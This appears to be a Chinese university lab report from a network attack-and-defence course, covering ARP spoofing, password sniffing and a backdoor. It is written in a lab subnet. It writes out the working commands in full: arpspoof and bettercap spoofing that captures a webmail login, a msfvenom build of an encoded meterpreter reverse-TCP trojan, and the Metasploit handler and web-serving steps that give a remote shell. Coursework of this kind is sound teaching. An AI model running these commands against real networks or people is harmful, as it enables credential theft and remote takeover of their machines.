# 实验报告模板

华南理工大学

《网络攻防原理与技术》课程实验报告

实验题目：  中间人攻击&后门程序

|  |
| --- |
| **实验概述** |
| 【实验目的及要求】  实验目的：  掌握ARP欺骗攻击的原理和防范措施  熟悉使用Cain软件/Bettercap嗅探口令  熟悉使用msfvenom生成后门程序  实验要求：  【实验环境】  操作系统：Windows XP |
| **实验内容** |
| 【实验方案设计】  1.ARP欺骗  2.口令嗅探  3.后门程序  【实验过程】（实验步骤、记录、数据、分析）   1. 实验内容一：ARP欺骗 2. 在Kali终端输入ifconfig得到Kali的IP地址是10.0.2.6 3. 在win8终端输入ipconfig得到他的IP地址10.0.2.5，Gateway的地址是10.0.2.1 4. 在kali输入echo 1 > /proc/sys/net/ipv4/ip\_forward 5. 在kali输入arp -a 查看arp列表   屏幕快照 2018-10-25 下午3.42.32   1. 在kali输入arpspoof -i eth1 -t 10.0.2.5 -r 10.0.2.1 进行欺骗   屏幕快照 2018-10-25 下午3.42.46   1. 在kali输入driftnet -i eth0 2. 在win8机器打开浏览器，打开www.scut.edu.cn。   已经监听到win8浏览的的内容  屏幕快照 2018-10-25 下午3.46.40   1. 在kali输入urlsnarf -i eth0 监听靶机   屏幕快照 2018-10-25 下午3.43.55   1. 口令嗅探 2. Cain and Abel 3. 下载安装Cain and Abel 4. 进行相关配置   屏幕快照 2018-11-08 上午11.16.43屏幕快照 2018-11-08 上午11.16.49   1. 开始嗅探：扫描同一子网内所有主机的Mac地址   屏幕快照 2018-11-08 上午11.17.07屏幕快照 2018-11-08 上午11.17.25  其中： 10.0.2.6为靶机地址，10.0.2.1为GateWay地址   1. 在靶机中登录华工邮箱   屏幕快照 2018-11-08 上午11.26.53   1. Cain已经获取靶机登录相关信息   屏幕快照 2018-11-08 上午11.15.41   1. Kali Linux 2. 输入echo 1 > /proc/sys/net/ipv4/ip\_forward 3. 输入apt-get install bettercap安装bettercap 4. 运行bettercap 5. 输入set arp.spoof.targets 10.0.2.5 设置目标为靶机   输入arp.spoof on  输入net.sniff on打开嗅探器  屏幕快照 2018-10-25 下午4.14.39   1. 在靶机上打开http://webmail.scut.edu.cn/scutmail/ 2. 登录邮箱，不选ssh 3. 嗅探器已经获取用户名和密码信息   屏幕快照 2018-10-25 下午4.15.28  屏幕快照 2018-10-25 下午4.12.32   1. 实验内容三：后门程序 2. 在kali输入msfvenom --platform windows -p windows/meterpreter/reverse\_tcp LHOST=10.0.2.6 LPORT=1337 -e x86/shikata\_ga\_nai -i 5 -x /usr/share/windows-binaries/plink.exe -f exe > /root/Documents/trojan.exe 命令   屏幕快照 2018-10-25 下午4.54.29   1. 输入msfconsole   屏幕快照 2018-10-25 下午4.54.52   1. 输入use exploit/multi/handler 2. 输入set payload windows/meterpreter/reverse\_tcp，set LHOST 10.0.2.6，set LPORT 1337设置协议 本机 端口信息 3. 使用run命令启动   屏幕快照 2018-10-25 下午4.55.02   1. 使用service apache2 start启动Apache 2. 使用 cp /root/Document/trojan.exe /var/www/html 将trojan.exe文件复制到 /var/www/html目录下，使得靶机可以访问该文件 3. 在靶机中打开http://10.0.2.6/trojan.exe网址，下载并运行trojan.exe文件   屏幕快照 2018-10-25 下午4.50.57   1. 在kali中折佣shell命令检测此时kali是否已经控制了靶机，可以对靶机进行攻击。屏幕快照 2018-10-25 下午4.55.33 2. 在kali中使用 mkdir helloWorld 命令，在桌面新建了一个文件夹。   屏幕快照 2018-10-25 下午4.55.43  屏幕快照 2018-10-25 下午4.55.52  【结论】 |